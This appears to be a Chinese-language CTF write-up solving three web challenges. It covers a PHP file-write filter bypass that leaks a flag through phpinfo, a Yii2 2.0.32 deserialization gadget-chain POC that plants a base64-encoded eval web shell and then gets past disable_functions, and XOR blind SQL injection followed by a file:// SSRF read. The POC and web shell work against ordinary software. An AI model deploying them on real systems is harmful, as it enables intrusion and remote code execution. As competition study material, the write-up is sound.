Web体验还行,不是太难,压轴题很合理

WEB

find_it

题目没啥意思23333,还老是503

扫下目录,访问robots.txt ,得到1ndexx.php,访问页面500报错,应该是缺参数,既然这样那肯定要给源码(不然寄刀片伺候)

发现备份文件.1ndexx.php.swp

<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
	die("you die");
}
if(strlen($a)>33){
	die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

fclose($file);
fclose($hack);
?>

ban了一堆函数,先看看phpinfo

payload:

./?code=<?php phpinfo();

访问hack.php

搜索字符串,结果发现flag写在了环境变量里,被phpinfo暴露出来了

说实话,1ndexx.phpindex.php 切换迷惑人,然后平台的问题,盲猜docker分发写环境变量,最后没删23333


framework

扫到www.zip,看下是Yii Framework2.0.32

去官网下原版比对一下,发现就改了个参数

Yii2反序列化漏洞

拿poc直接打,由于base64后可能会有/或者+等,所以先base64一下写函数解码即可

system似乎被ban了不行

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'assert';
            $this->id = "file_put_contents('1.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbYV0pPz4='))";
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

这里原poc打的参数是data,这里修改为message

打过去就行,虽然报错但是已经执行了

在当前目录会生成1.php,蚁剑连一下

发现有disable_function,当时心凉一截,不会和蓝帽一样…

侥幸心理测了下蚁剑的突破插件,发现Apache_mod_cgi可以,执行根目录下/readflag即可


WebsiteManger

打开登陆界面,估计是注入

看看连接,发现异常请求,还好没上来对着username乱试

经测试,可以使用异或 盲注

错误语句返回报错
正确语句错误表达返回:WHAT ARE YOU DOING
正确语句id为1返回图片
正确语句id为0返回空

异或盲注脚本跑,可见以前写的WP

拿到信息如下

# version==========>5.5.60-0+deb8u1
# databases==========>ctf
# tables==========>images,users
# users.columns==========>username,password
# users.data==========>admin~a1d4f79c94f0cd3feeac4

似乎密码还是容器随机的,拿到用户名密码登陆

明显ssrf,用file协议读一下文件可行,直接读flag

payload:

file:///flag